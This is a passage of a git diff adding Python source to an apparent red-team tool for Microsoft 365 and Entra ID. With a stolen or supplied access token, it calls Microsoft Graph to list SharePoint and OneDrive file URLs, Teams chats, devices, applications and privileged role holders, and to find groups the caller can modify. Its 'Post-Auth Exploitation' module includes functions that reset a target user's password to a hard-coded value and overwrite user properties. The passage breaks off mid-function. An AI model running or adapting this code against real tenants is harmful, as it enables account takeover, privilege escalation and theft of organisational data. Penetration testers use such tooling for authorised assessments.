graph_api_get(get_access_token(args.token), api_url, args) + print("=" * 80) + +# list-conditionalauthenticationcontexts +def list_conditionalauthenticationcontexts(args): + print_yellow("[*] List-ConditionalAuthenticationContexts") + print("=" * 80) + api_url = "https://graph.microsoft.com/v1.0/identity/conditionalAccess/authenticationContextClassReferences" + + if args.select: + api_url += "?$select=" + args.select + + graph_api_get(get_access_token(args.token), api_url, args) + print("=" * 80) + +# list-conditionalnamedlocations +def list_conditionalnamedlocations(args): + print_yellow("[*] List-ConditionalNamedLocations") + print("=" * 80) + api_url = "https://graph.microsoft.com/v1.0/identity/conditionalAccess/namedLocations" + + if args.select: + api_url += "?$select=" + args.select + + graph_api_get(get_access_token(args.token), api_url, args) + print("=" * 80) + +# list-sharepointroot +def list_sharepointroot(args): + print_yellow("[*] List-SharePointRoot") + print("=" * 80) + api_url = "https://graph.microsoft.com/v1.0/sites/root" + + if args.select: + api_url += "?$select=" + args.select + user_agent = get_user_agent(args) + headers = { + 'Authorization': f'Bearer {get_access_token(args.token)}', + 'User-Agent': user_agent + } + + response = requests.get(api_url, headers=headers) + if response.status_code == 200: + response_json = response.json() + for key, value in response_json.items(): + if key != "@odata.context": + print(f"{key}: {value}") + else: + print_red(f"[-] Failed to retrieve current user: {response.status_code}") + print_red(response.text) + print("=" * 80) + + +# list-sharepointsites +def list_sharepointsites(args): + print_yellow("[*] List-SharePointSites") + print("=" * 80) + api_url = "https://graph.microsoft.com/v1.0/sites" + + if args.select: + api_url += "?$select=" + args.select + + graph_api_get(get_access_token(args.token), api_url, args) + print("=" * 80) + +# list-sharepointurls +def list_sharepointurls(args): + print_yellow("[*] List-SharePointURLs") + print("=" * 80) + api_url = "https://graph.microsoft.com/v1.0/search/query" + user_agent = get_user_agent(args) + headers = { + 'Authorization': f'Bearer {get_access_token(args.token)}', + 'Content-Type': 'application/json', + 'User-Agent': user_agent + } + + data = { + "requests": [ + { + "entityTypes": ["drive"], + "query": { + "queryString": "*" + }, + "from": 0, + "size": 500, + "fields": [ + "webUrl" + ] + } + ] + } + + try: + response = requests.post(api_url, headers=headers, json=data, timeout=30) + response.raise_for_status() + + response_body = response.json() + + if 'value' in response_body: + for item in response_body['value']: + for hit in item.get('hitsContainers', []): + for result in hit.get('hits', []): + web_url = result.get('resource', {}).get('webUrl') + if web_url: + print(web_url) + else: + print_yellow("[-] No results found in the response.") + + next_link = response_body.get("@odata.nextLink") + while next_link: + response = requests.get(next_link, headers=headers, timeout=30) + response.raise_for_status() + response_body = response.json() + + if 'value' in response_body: + for item in response_body['value']: + for hit in item.get('hitsContainers', []): + for result in hit.get('hits', []): + web_url = result.get('resource', {}).get('webUrl') + if web_url: + print(web_url) + + next_link = response_body.get("@odata.nextLink") + + except requests.exceptions.RequestException as e: + print_red(f"[-] Failed to search data: {str(e)}") + if hasattr(e, 'response'): + print_red(e.response.text) + + print("=" * 80) + +# list-externalconnections +def list_externalconnections(args): + print_yellow("[*] List-ExternalConnections") + print("=" * 80) + api_url = "https://graph.microsoft.com/v1.0/external/connections" + + if args.select: + api_url += "?$select=" + args.select + + graph_api_get(get_access_token(args.token), api_url, args) + print("=" * 80) + +# list-applications +def list_applications(args): + print_yellow("[*] List-Applications") + print("=" * 80) + api_url = "https://graph.microsoft.com/v1.0/applications" + if args.select: + api_url += "?$select=" + args.select + + user_agent = get_user_agent(args) + headers = { + 'Authorization': 'Bearer ' + get_access_token(args.token), + 'Accept': 'application/json', + 'User-Agent': user_agent + } + + response = requests.get(api_url, headers=headers) + + if response.status_code == 200: + applications = response.json() + else: + print_red(f"[-] Error: API request failed with status code {response.status_code}") + applications = None + + def parse_roleids(content): + soup = BeautifulSoup(content, 'html.parser') + permissions = {} + for h3 in soup.find_all('h3'): + permission_name = h3.get_text() + table = h3.find_next('table') + rows = table.find_all('tr') + application_id = rows[1].find_all('td')[1].get_text() + delegated_id = rows[1].find_all('td')[2].get_text() + application_description = rows[2].find_all('td')[1].get_text() + delegated_description = rows[2].find_all('td')[2].get_text() + application_consent = rows[4].find_all('td')[1].get_text() if len(rows) > 4 else "Unknown" + delegated_consent = rows[4].find_all('td')[2].get_text() if len(rows) > 4 else "Unknown" + permissions[application_id] = ('Application', permission_name, application_description, application_consent) + permissions[delegated_id] = ('Delegated', permission_name, delegated_description, delegated_consent) + return permissions + + script_dir = os.path.dirname(os.path.abspath(__file__)) + file_path = os.path.join(script_dir, 'graphpermissions.txt') + try: + with open(file_path, 'r') as file: + content = file.read() + except FileNotFoundError: + print_red(f"\n[-] The file {file_path} does not exist.") + sys.exit(1) + except Exception as e: + print_red(f"\n[-] An error occurred: {e}") + sys.exit(1) + + permissions = parse_roleids(content) + + if applications and 'value' in applications: + for app in applications['value']: + for key, value in app.items(): + if key == 'requiredResourceAccess': + if value: + print_green(f"{key}:") + for resource in value: + print_green(f" Resource App ID: {resource['resourceAppId']}") + for access in resource['resourceAccess']: + role_id = access['id'] + role_type = access['type'] + if role_id in permissions: + perm_type, role_name, description, consent_required = permissions[role_id] + print_green(f" Role ID: {role_id}") + print_green(f" Role Name: {role_name}") + print_green(f" Description: {description}") + print_green(f" Type: {role_type}") + print_green(f" Permission Type: {perm_type}") + print_green(f" Admin Consent Required: {consent_required}") + else: + print_red(f" Role ID: {role_id} (Information not found)") + print_red(f" Type: {role_type}") + print(" ---") + else: + print_red(f"{key} : No assignments") + else: + print(f"{key} : {value}") + print("\n") + print("=" * 80) + +# list-serviceprincipals +def list_serviceprincipals(args): + print_yellow("[*] List-ServicePrincipals") + print("=" * 80) + api_url = "https://graph.microsoft.com/v1.0/servicePrincipals" + + if args.select: + api_url += "?$select=" + args.select + + graph_api_get(get_access_token(args.token), api_url, args) + print("=" * 80) + +# list-tenants +def list_tenants(args): + print_yellow("[*] List-Tenants") + print("=" * 80) + api_url = "https://graph.microsoft.com/v1.0/tenantRelationships/multiTenantOrganization/tenants" + + if args.select: + api_url += "?$select=" + args.select + + graph_api_get(get_access_token(args.token), api_url, args) + print("=" * 80) + +# list-joinedteams +def list_joinedteams(args): + print_yellow("[*] List-JoinedTeams") + print("=" * 80) + api_url = "https://graph.microsoft.com/v1.0/me/joinedTeams" + + if args.id: + api_url = f"https://graph.microsoft.com/v1.0/users/{args.id}/joinedTeams" + if args.select: + api_url += "?$select=" + args.select + + graph_api_get(get_access_token(args.token), api_url, args) + print("=" * 80) + +# list-chats +def list_chats(args): + print_yellow("[*] List-Chats") + print("=" * 80) + api_url = "https://graph.microsoft.com/v1.0/me/chats" + + if args.id: + api_url = f"https://graph.microsoft.com/v1.0/users/{args.id}/chats" + if args.select: + api_url += "?$select=" + args.select + + graph_api_get(get_access_token(args.token), api_url, args) + print("=" * 80) + +# list-chatmessages +def list_chatmessages(args): + if not args.id: + print_red("[-] Error: --id argument is required for List-ChatMessages command") + return + + print_yellow("[*] List-ChatMessages") + print("=" * 80) + api_url = f"https://graph.microsoft.com/v1.0/chats/{args.id}/messages" + + if args.select: + api_url += "?$select=" + args.select + + graph_api_get(get_access_token(args.token), api_url, args) + print("=" * 80) + +# list-devices +def list_devices(args): + print_yellow("[*] List-Devices") + print("=" * 80) + api_url = "https://graph.microsoft.com/v1.0/devices" + + if args.select: + api_url += "?$select=" + args.select + + graph_api_get(get_access_token(args.token), api_url, args) + print("=" * 80) + +# list-administrativeunits +def list_administrativeunits(args): + print_yellow("[*] List-AdministrativeUnits") + print("=" * 80) + api_url = "https://graph.microsoft.com/v1.0/directory/administrativeUnits" + + if args.select: + api_url += "?$select=" + args.select + + graph_api_get(get_access_token(args.token), api_url, args) + print("=" * 80) + +# list-onedrives +def list_onedrives(args): + print_yellow("[*] List-OneDrives") + print("=" * 80) + api_url = "https://graph.microsoft.com/v1.0/me/drives" + + if args.id: + api_url = f"https://graph.microsoft.com/v1.0/users/{args.id}/drives" + if args.select: + api_url += "?$select=" + args.select + + graph_api_get(get_access_token(args.token), api_url, args) + print("=" * 80) + +# list-recentonedrivefiles +def list_recentonedrivefiles(args): + print_yellow("[*] List-RecentOneDriveFiles") + print("=" * 80) + api_url = "https://graph.microsoft.com/v1.0/me/drive/recent" + user_agent = get_user_agent(args) + headers = { + "Authorization": f"Bearer {get_access_token(args.token)}", + "User-Agent": user_agent + } + + try: + while api_url: + response = requests.get(api_url, headers=headers) + response.raise_for_status() + response_body = response.json() + filtered_data = response_body.get('value', []) + if filtered_data: + file_count = 1 + for d in filtered_data: + print_green(f"File {file_count}") + if args.select: + selected_fields = args.select.split(',') + for field in selected_fields: + value = d + for part in field.split('.'): + if isinstance(value, dict) and part in value: + value = value[part] + else: + value = None + break + if value is not None: + print(f"{field} : {value}") + else: + for key, value in d.items(): + if isinstance(value, (str, int, float, bool)): + print(f"{key} : {value}") + elif isinstance(value, dict): + print(f"{key} : {json.dumps(value, indent=2)}") + else: + print(f"{key} : {str(value)}") + print("\n") + file_count += 1 + else: + print_red("[-] No data found") + return + + api_url = response_body.get("@odata.nextLink") + except requests.RequestException as e: + print_red(f"[-] Error making request: {str(e)}") + print("=" * 80) + +# list-sharedonedrivefiles +def list_sharedonedrivefiles(args): + print_yellow("[*] List-SharedOneDriveFiles") + print("=" * 80) + api_url = "https://graph.microsoft.com/v1.0/me/drive/sharedWithMe" + + if args.select: + api_url += "?$select=" + args.select + + graph_api_get(get_access_token(args.token), api_url, args) + print("=" * 80) + +# list-onedriveurls +def list_onedriveurls(args): + print_yellow("[*] List-OneDriveURLs") + print("=" * 80) + api_url = "https://graph.microsoft.com/v1.0/search/query" + user_agent = get_user_agent(args) + headers = { + 'Authorization': f'Bearer {get_access_token(args.token)}', + 'Content-Type': 'application/json', + 'User-Agent': user_agent + } + + data = { + "requests": [ + { + "entityTypes": ["driveItem"], # get OneDrive and SharePoint - no only OneDrive option + "query": { + "queryString": "*" + }, + "from": 0, + "size": 500, + "fields": [ + "webUrl" + ] + } + ] + } + + try: + response = requests.post(api_url, headers=headers, json=data, timeout=30) + response.raise_for_status() + + response_body = response.json() + + if 'value' in response_body: + for item in response_body['value']: + for hit in item.get('hitsContainers', []): + for result in hit.get('hits', []): + web_url = result.get('resource', {}).get('webUrl') + if web_url: + print(web_url) + else: + print_yellow("[-] No results found in the response.") + + next_link = response_body.get("@odata.nextLink") + while next_link: + response = requests.get(next_link, headers=headers, timeout=30) + response.raise_for_status() + response_body = response.json() + + if 'value' in response_body: + for item in response_body['value']: + for hit in item.get('hitsContainers', []): + for result in hit.get('hits', []): + web_url = result.get('resource', {}).get('webUrl') + if web_url: + print(web_url) + + next_link = response_body.get("@odata.nextLink") + + except requests.exceptions.RequestException as e: + print_red(f"[-] Failed to search data: {str(e)}") + if hasattr(e, 'response'): + print_red(e.response.text) + + print("=" * 80) \ No newline at end of file diff --git a/graphpython/commands/exploit.py b/graphpython/commands/exploit.py new file mode 100644 index 0000000..3b0da0b --- /dev/null +++ b/graphpython/commands/exploit.py @@ -0,0 +1,1339 @@ +import requests +import json +import os +import time +import sys +from tqdm import tqdm +from datetime import datetime, timedelta, timezone +from tabulate import tabulate +from bs4 import BeautifulSoup +from cryptography import x509 +from cryptography.hazmat.primitives import hashes, serialization +from cryptography.hazmat.primitives.serialization import pkcs12 +from cryptography.hazmat.backends import default_backend +from graphpython.utils.helpers import print_yellow, print_green, print_red, get_user_agent, get_access_token +from graphpython.utils.helpers import read_file_content, format_list_style, highlight_search_term, read_and_encode_cert + +########################## +# Post-Auth Exploitation # +########################## + +# invoke-customquery +def invoke_customquery(args): + if not args.query: + print_red("[-] Error: --query argument is required for Invoke-CutstomQuery command") + return + + print_yellow("[*] Invoke-CutstomQuery") + print("=" * 80) + api_url = args.query + if args.select: + api_url += "?$select=" + args.select + + user_agent = get_user_agent(args) + headers = { + 'Authorization': f'Bearer {get_access_token(args.token)}', + 'User-Agent': user_agent + } + + response = requests.get(api_url, headers=headers) + if response.status_code == 200: + response_json = response.json() + if "@odata.context" in response_json: + del response_json["@odata.context"] + print(json.dumps(response_json, indent=4)) + else: + print_red(f"[-] Failed to retrieve query: {response.status_code}") + print_red(response.text) + print("=" * 80) + +# invoke-search +def invoke_search(args): + if not args.search or not args.entity: + print_red("[-] Error: --search and --entity required for Invoke-Search command") + return + + print_yellow("[*] Invoke-Search") + print("=" * 80) + api_url = "https://graph.microsoft.com/v1.0/search/query" + user_agent = get_user_agent(args) + headers = { + 'Authorization': f'Bearer {get_access_token(args.token)}', + 'Content-Type': 'application/json', + 'User-Agent': user_agent + } + + json_body = { + "requests": [ + { + "entityTypes": [args.entity], + "query": { + "queryString": args.search + } + } + ] + } + + response = requests.post(api_url, headers=headers, data=json.dumps(json_body)) + if response.ok: + response_body = response.json() + + for key, value in response_body.items(): + if not key.startswith("@odata.context"): + pretty_value = json.dumps(value, indent=4) + highlighted_value = highlight_search_term(pretty_value, args.search) + print(f"{key}: {highlighted_value}") + + url = response_body.get("@odata.nextLink") + if url: + response = requests.get(url, headers=headers) + response.raise_for_status() + response_body = response.json() + else: + print_red(f"[-] Failed to search data: {response.status_code}") + print_red(response.text) + print("=" * 80) + +# find-privilegedroleusers +def find_privilegedroleusers(args): + roles = [ + {"displayName": "Password Administrator", "roleTemplateId": "966707d0-3269-4727-9be2-8c3a10f19b9d", "description": "Can reset passwords for non-administrators and Password Administrators."}, + {"displayName": "Global Reader", "roleTemplateId": "f2ef992c-3afb-46b9-b7cf-a126ee74c451", "description": "Can read everything that a Global Administrator can, but not update anything."}, + {"displayName": "Directory Synchronization Accounts", "roleTemplateId": "d29b2b05-8046-44ba-8758-1e26182fcf32", "description": "Only used by Microsoft Entra Connect and Microsoft Entra Cloud Sync services."}, + {"displayName": "Security Reader", "roleTemplateId": "5d6b6bb7-de71-4623-b4af-96380a352509", "description": "Can read security information and reports in Microsoft Entra ID and Office 365."}, + {"displayName": "Privileged Authentication Administrator", "roleTemplateId": "7be44c8a-adaf-4e2a-84d6-ab2649e08a13", "description": "Can access to view, set and reset authentication method information for any user (admin or non-admin)."}, + {"displayName": "Azure AD Joined Device Local Administrator", "roleTemplateId": "9f06204d-73c1-4d4c-880a-6edb90606fd8", "description": "Users with this role can locally administer Azure AD joined devices."}, + {"displayName": "Authentication Administrator", "roleTemplateId": "c4e39bd9-1100-46d3-8c65-fb160da0071f", "description": "Can access to view, set and reset authentication method information for any non-admin user."}, + {"displayName": "Groups Administrator", "roleTemplateId": "fdd7a751-b60b-444a-984c-02652fe8fa1c", "description": "Can manage all aspects of groups and group settings like naming and expiration policies."}, + {"displayName": "Application Administrator", "roleTemplateId": "9b895d92-2cd3-44c7-9d02-a6ac2d5ea5c3", "description": "Can create and manage all aspects of app registrations and enterprise apps."}, + {"displayName": "Helpdesk Administrator", "roleTemplateId": "729827e3-9c14-49f7-bb1b-9608f156bbb8", "description": "Can reset passwords for non-administrators and Helpdesk Administrators."}, + {"displayName": "Directory Readers", "roleTemplateId": "88d8e3e3-8f55-4a1e-953a-9b9898b8876b", "description": "Can read basic directory information. Not intended for granting access to applications."}, + {"displayName": "User Administrator", "roleTemplateId": "fe930be7-5e62-47db-91af-98c3a49a38b1", "description": "Can manage all aspects of users and groups, including resetting passwords for limited admins."}, + {"displayName": "Global Administrator", "roleTemplateId": "62e90394-69f5-4237-9190-012177145e10", "description": "Can manage all aspects of Microsoft Entra ID and Microsoft services that use Microsoft Entra identities."}, + {"displayName": "Intune Administrator", "roleTemplateId": "3a2c62db-5318-420d-8d74-23affee5d9d5", "description": "Can manage all aspects of the Intune product."}, + {"displayName": "Application Developer", "roleTemplateId": "cf1c38e5-3621-4004-a7cb-879624dced7c", "description": "Can create application registrations independent of the 'Users can register applications' setting."}, + {"displayName": "Authentication Extensibility Administrator", "roleTemplateId": "25a516ed-2fa0-40ea-a2d0-12923a21473a", "description": "Customize sign in and sign up experiences for users by creating and managing custom authentication extensions."}, + {"displayName": "B2C IEF Keyset Administrator", "roleTemplateId": "aaf43236-0c0d-4d5f-883a-6955382ac081", "description": "Can manage secrets for federation and encryption in the Identity Experience Framework (IEF)."}, + {"displayName": "Cloud Application Administrator", "roleTemplateId": "158c047a-c907-4556-b7ef-446551a6b5f7", "description": "Can create and manage all aspects of app registrations and enterprise apps except App Proxy."}, + {"displayName": "Cloud Device Administrator", "roleTemplateId": "7698a772-787b-4ac8-901f-60d6b08affd2", "description": "Limited access to manage devices in Microsoft Entra ID."}, + {"displayName": "Conditional Access Administrator", "roleTemplateId": "b1be1c3e-b65d-4f19-8427-f6fa0d97feb9", "description": "Can manage Conditional Access capabilities."}, + {"displayName": "Directory Writers", "roleTemplateId": "9360feb5-f418-4baa-8175-e2a00bac4301", "description": "Can read and write basic directory information. For granting access to applications, not intended for users."}, + {"displayName": "Domain Name Administrator", "roleTemplateId": "8329153b-31d0-4727-b945-745eb3bc5f31", "description": "Can manage domain names in cloud and on-premises."}, + {"displayName": "External Identity Provider Administrator", "roleTemplateId": "be2f45a1-457d-42af-a067-6ec1fa63bc45", "description": "Can configure identity providers for use in direct federation."}, + {"displayName": "Hybrid Identity Administrator", "roleTemplateId": "8ac3fc64-6eca-42ea-9e69-59f4c7b60eb2", "description": "Manage Active Directory to Microsoft Entra cloud provisioning, Microsoft Entra Connect, pass-through authentication (PTA), password hash synchronization (PHS), seamless single sign-on (seamless SSO), and federation settings. Does not have access to manage Microsoft Entra Connect Health."}, + {"displayName": "Lifecycle Workflows Administrator", "roleTemplateId": "59d46f88-662b-457b-bceb-5c3809e5908f", "description": "Create and manage all aspects of workflows and tasks associated with Lifecycle Workflows in Microsoft Entra ID."}, + {"displayName": "Privileged Role Administrator", "roleTemplateId": "e8611ab8-c189-46e8-94e1-60213ab1f814", "description": "Can manage role assignments in Microsoft Entra ID, and all aspects of Privileged Identity Management."}, + {"displayName": "Security Administrator", "roleTemplateId": "194ae4cb-b126-40b2-bd5b-6091b380977d", "description": "Can read security information and reports, and manage configuration in Microsoft Entra ID and Office 365."}, + {"displayName": "Security Operator", "roleTemplateId": "5f2222b1-57c3-48ba-8ad5-d4759f1fde6f", "description": "Creates and manages security events."} + ] + + print_yellow("[*] Find-PrivilegedRoleUsers") + print("=" * 80) + user_agent = get_user_agent(args) + headers = { + 'Authorization': f'Bearer {get_access_token(args.token)}', + 'User-Agent': user_agent + } + + for role in roles: + api_url = f"https://graph.microsoft.com/v1.0/directoryRoles(roleTemplateId='{role['roleTemplateId']}')/members" + response = requests.get(api_url, headers=headers) + if response.ok: + print_green(f"[+] Role: {role['displayName']}") + print(f"Description: {role['description']}") + response_body = response.json() + filtered_data = {key: value for key, value in response_body.items() if not key.startswith("@odata")} + format_list_style(filtered_data) + else: + print_red(f"[-] Role: {role['displayName']}") + print("=" * 80) + +# find-privilegedapplications +def find_privilegedapplications(args): + print_yellow("[*] Find-PrivilegedApplications") + print("=" * 80) + api_url = "https://graph.microsoft.com/v1.0/applications?$select=appId" + user_agent = get_user_agent(args) + headers = { + 'Authorization': 'Bearer ' + get_access_token(args.token), + 'Accept': 'application/json', + 'User-Agent': user_agent + } + + response = requests.get(api_url, headers=headers) + if response.status_code == 200: + applications = response.json() + app_ids = [app['appId'] for app in applications.get('value', [])] + else: + print_red(f"[-] Error: API request failed with status code {response.status_code}") + app_ids = [] + + service_principals = [] + for app_id in app_ids: + sp_api_url = f"https://graph.microsoft.com/v1.0/servicePrincipals?$filter=appId eq '{app_id}'&$select=id,appDisplayName" + sp_response = requests.get(sp_api_url, headers=headers) + + if sp_response.status_code == 200: + sp_data = sp_response.json() + for sp in sp_data.get('value', []): + service_principals.append({ + 'id': sp['id'], + 'appDisplayName': sp['appDisplayName'] + }) + else: + print_red(f"[-] Error: Service Principal API request failed for appId {app_id} with status code {sp_response.status_code}") + + app_role_assignments = {} + for sp in service_principals: + app_role_url = f"https://graph.microsoft.com/v1.0/servicePrincipals/{sp['id']}/appRoleAssignments" + app_role_response = requests.get(app_role_url, headers=headers) + + if app_role_response.status_code == 200: + assignments = app_role_response.json() + app_role_assignments[sp['id']] = { + 'appDisplayName': sp['appDisplayName'], + 'assignments': assignments.get('value', []) + } + else: + print_red(f"[-] Error: App Role Assignments API request failed for Service Principal ID {sp['id']}: {app_role_response.status_code}") + print_red(app_role_response.text) + + def parse_roleids(content): + soup = BeautifulSoup(content, 'html.parser') + permissions = {} + for h3 in soup.find_all('h3'): + permission_name = h3.get_text() + table = h3.find_next('table') + rows = table.find_all('tr') + application_id = rows[1].find_all('td')[1].get_text() + delegated_id = rows[1].find_all('td')[2].get_text() + application_description = rows[2].find_all('td')[1].get_text() + delegated_description = rows[2].find_all('td')[2].get_text() + application_consent = rows[4].find_all('td')[1].get_text() if len(rows) > 4 else "Unknown" + delegated_consent = rows[4].find_all('td')[2].get_text() if len(rows) > 4 else "Unknown" + permissions[application_id] = ('Application', permission_name, application_description, application_consent) + permissions[delegated_id] = ('Delegated', permission_name, delegated_description, delegated_consent) + return permissions + + script_dir = os.path.dirname(os.path.abspath(__file__)) + file_path = os.path.join(script_dir, 'graphpermissions.txt') + try: + with open(file_path, 'r') as file: + content = file.read() + except FileNotFoundError: + print_red(f"\n[-] The file {file_path} does not exist.") + sys.exit(1) + except Exception as e: + print_red(f"\n[-] An error occurred: {e}") + sys.exit(1) + permissions = parse_roleids(content) + + # results + for sp_id, data in app_role_assignments.items(): + print(f"\nApplication: {data['appDisplayName']}") + if data['assignments']: + for assignment in data['assignments']: + app_role_id = assignment.get('appRoleId', 'N/A') + print_green(f"[+] App Role ID: {app_role_id}") + if app_role_id in permissions: + role_type, role_name, description, consent_required = permissions[app_role_id] + print_green(f"[+] Role Name: {role_name}") + print_green(f"[+] Description: {description}") + #print_green(f"[+] Role Type: {role_type}") # can only be application for appRoleAssignments, delegated role types use oauth2PermissionGrants + #print_green(f"[+] Admin Consent Required: {consent_required}") # admin consent required for all app graph perms + else: + print_red(f"[-] Role information not found for App Role ID: {app_role_id}") + print_green(f"[+] Resource: {assignment.get('resourceDisplayName', 'N/A')}") + print("---") + else: + print_red("[-] No role assignments") + print("=" * 80) + +# find-updatablegroups +def find_updatablegroups(args): + print_yellow("[*] Find-UpdatableGroups") + print("=" * 80) + graph_api_endpoint = "https://graph.microsoft.com/v1.0/groups" + estimate_access_endpoint = "https://graph.microsoft.com/beta/roleManagement/directory/estimateAccess" + + default_fields = ['id', 'displayName', 'description', 'isAssignableToRole', 'onPremisesSyncEnabled', 'mail', 'createdDateTime', 'visibility'] + + if args.select: + select_fields = args.select.split(',') + graph_api_endpoint += f"?$select=id,{args.select}" + else: + select_fields = default_fields + graph_api_endpoint += f"?$select=id,{','.join(select_fields)}" + + user_agent = get_user_agent(args) + headers = { + 'Authorization': f'Bearer {get_access_token(args.token)}', + 'Content-Type': 'application/json', + 'User-Agent': user_agent + } + + results = [] + while graph_api_endpoint: + try: + response = requests.get(graph_api_endpoint, headers=headers) + response.raise_for_status() + response_data = response.json() + for group in response_data['value']: + if 'id' not in group: + print_yellow(f"[-] Group without 'id' found, skipping") + continue + group_id = group['id'] + request_body = { + "resourceActionAuthorizationChecks": [ + { + "directoryScopeId": f"/{group_id}", + "resourceAction": "microsoft.directory/groups/members/update" + } + ] + } + + while True: + try: + estimate_response = requests.post(estimate_access_endpoint, headers=headers, json=request_body) + estimate_response.raise_for_status() + estimate_data = estimate_response.json() + if estimate_data['value'][0]['accessDecision'] == "allowed": + group_out = {k: group.get(k) for k in select_fields if k in group} + results.append(group_out) + break + except requests.exceptions.HTTPError as e: + if e.response.status_code == 429: + print_yellow("[*] Requests throttled... sleeping for 5 seconds") + time.sleep(5) + else: + print_red(f"[-] Error estimating access for group: {str(e)}") + break + except requests.exceptions.RequestException as e: + print_red(f"[-] Error estimating access for group: {str(e)}") + break + graph_api_endpoint = response_data.get('@odata.nextLink') + except requests.exceptions.RequestException as e: + print_red(f"[-] Error fetching Groups: {str(e)}") + break + if results: + max_key_length = max(len(key) for result in results for key in result.keys()) + for result in results: + for key, value in result.items(): + print(f"{key:<{max_key_length}} : {value}") + print("") + else: + print_red("[-] No updatable groups found") + print("=" * 80) + +# find-dynamicgroups +def find_dynamicgroups(args): + print_yellow("[*] Find-DynamicGroups") + print("=" * 80) + graph_api_endpoint = "https://graph.microsoft.com/v1.0/groups" + estimate_access_endpoint = "https://graph.microsoft.com/beta/roleManagement/directory/estimateAccess" + user_agent = get_user_agent(args) + headers = { + 'Authorization': f'Bearer {get_access_token(args.token)}', + 'User-Agent': user_agent + } + + results = [] + while graph_api_endpoint: + try: + while True: + try: + response = requests.get(graph_api_endpoint, headers=headers) + response.raise_for_status() + break + except requests.exceptions.HTTPError as e: + if e.response.status_code == 429: + print_yellow("[*] Requests throttled... sleeping 5 seconds") + time.sleep(5) + else: + raise + response_data = response.json() + + for group in response_data['value']: + group_id = f"/{group['id']}" + request_body = { + "resourceActionAuthorizationChecks": [ + { + "directoryScopeId": group_id, + "resourceAction": "microsoft.directory/groups/members/update" + } + ] + } + + if group.get('membershipRule') is not None: + #print_green(f"[+] Found dynamic group: {group['displayName']}") + group_out = { + "Group Name": group.get('displayName'), + "Group ID": group.get('id'), + "Description": group.get('description'), + "Is Assignable To Role": group.get('isAssignableToRole'), + "On-Prem Sync Enabled": group.get('onPremisesSyncEnabled'), + "Mail": group.get('mail'), + "Created Date": group.get('createdDateTime'), + "Visibility": group.get('visibility'), + "MembershipRule": group.get('membershipRule'), + "Membership Rule Processing State": group.get('membershipRuleProcessingState') + } + results.append(group_out) + + graph_api_endpoint = response_data.get('@odata.nextLink') + + except requests.exceptions.RequestException as e: + print_red(f"[-] Error fetching Group IDs: {str(e)}") + break + if results: + for result in results: + for key, value in result.items(): + print(f"{key:<35} : {value}") + print() + else: + print_red("[-] No dynamic groups found") + print("=" * 80) + +# find-securitygroups +def find_securitygroups(args): + print_yellow("[*] Find-SecurityGroups") + print("=" * 80) + graph_api_url = "https://graph.microsoft.com/v1.0" + groups_url = f"{graph_api_url}/groups?$filter=securityEnabled eq true" + user_agent = get_user_agent(args) + headers = { + 'Authorization': f'Bearer {get_access_token(args.token)}', + 'User-Agent': user_agent + } + + groups_with_members = [] + + while groups_url: + try: + response = requests.get(groups_url, headers=headers) + response.raise_for_status() + groups_response = response.json() + groups = groups_response.get('value', []) + except requests.exceptions.RequestException as e: + print_red(f"[-] An error occurred while retrieving security groups: {str(e)}") + return + for group in groups: + group_id = group['id'] + members_url = f"{graph_api_url}/groups/{group_id}/members" + + try: + members_response = requests.get(members_url, headers=headers) + members_response.raise_for_status() + members = members_response.json().get('value', []) + except requests.exceptions.HTTPError as e: + if e.response.status_code == 429: + print_yellow("[*] Being throttled... sleeping for 5 seconds") + time.sleep(5) + else: + print_red(f"[-] An error occurred while retrieving members for group {group['displayName']}: {str(e)}") + continue + + member_info = [ + member.get('userPrincipalName') or member.get('id', '') + for member in members + ] + + group_info = { + "GroupName": group['displayName'], + "GroupId": group_id, + "Members": member_info + } + + groups_with_members.append(group_info) + groups_url = groups_response.get('@odata.nextLink') + + if groups_with_members: + #print_green(f"[*] Found {len(groups_with_members)} security groups\n") + for group in groups_with_members: + print(f"Group Name: {group['GroupName']}") + print(f"Group ID: {group['GroupId']}") + print("Members:") + for member in group['Members']: + print(f" - {member}") + print() + else: + print_red("[-] No security groups found") + print("=" * 80) + +# update-userpassword +def update_userpassword(args): + if not args.id: + print_red("[-] Error: --id required for Update-UserPassword command") + return + + print_yellow("[*] Update-UserPassword") + print("=" * 80) + api_url = f"https://graph.microsoft.com/v1.0/users/{args.id}" + user_agent = get_user_agent(args) + headers = { + 'Authorization': f'Bearer {get_access_token(args.token)}', + 'Content-Type': 'application/json', + 'User-Agent': user_agent + } + + json_body = { + "passwordProfile": { + "forceChangePasswordNextSignIn": False, + "password": "NewUserSecret@Pass!" + } + } + + response = requests.patch(api_url, headers=headers, data=json.dumps(json_body)) + if response.ok: + print_green("[+] User password profile updated") + + else: + print_red(f"[-] Failed to update user password: {response.status_code}") + print_red(response.text) + print("=" * 80) + +# update-userproperties +def update_userproperties(args): + properties = [ + "aboutMe", "accountEnabled", "ageGroup", "assignedLicenses", "assignedPlans", + "birthday", "businessPhones", "city", "companyName", "consentProvidedForMinor", + "country", "createdDateTime", "department", "displayName", "employeeId", + "faxNumber", "givenName", "hireDate", "id", "imAddresses", "interests", + "isResourceAccount", "jobTitle", "lastPasswordChangeDateTime", "legalAgeGroupClassification", + "licenseAssignmentStates", "mail", "mailboxSettings", "mailNickname", "mobilePhone", + "mySite", "officeLocation", "onPremisesDistinguishedName", "onPremisesDomainName", + "onPremisesImmutableId", "onPremisesLastSyncDateTime", "onPremisesSecurityIdentifier", + "onPremisesSyncEnabled", "onPremisesSamAccountName", "onPremisesUserPrincipalName", + "otherMails", "passwordPolicies", "passwordProfile", "pastProjects", "preferredDataLocation", + "preferredLanguage", "preferredName", "proxyAddresses", "responsibilities", + "schools", "showInAddressList", "skills", "state", "streetAddress", + "surname", "usageLocation", "userPrincipalName", "userType", "webUrl" + ] + + if not args.id: + print_red("[-] Error: --id required for Update-UserProperties command") + return + + print_yellow("[*] Update-UserProperties") + print("=" * 80) + api_url = f"https://graph.microsoft.com/v1.0/users/{args.id}" + user_agent = get_user_agent(args) + headers = { + 'Authorization': f'Bearer {get_access_token(args.token)}', + 'Content-Type': 'application/json', + 'User-Agent': user_agent + } + + print("\033[34m[>] Property Definitions: https://learn.microsoft.com/en-us/graph/api/user-update\033[0m") + try: + userproperty = input("\nEnter Property: ").strip() + if userproperty not in properties: + print_red(f"\n[-] Error: '{userproperty}' is not a valid property.") + print("=" * 80) + sys.exit() + newvalue = input(f"Enter New '{userproperty}' Value: ").strip() + except KeyboardInterrupt: + sys.exit() + + json_body = { + userproperty : newvalue + } + + response = requests.patch(api_url, headers=headers, data=json.dumps(json_body)) + if response.ok: + print_green("\n[+] User properties updated successfully") + + else: 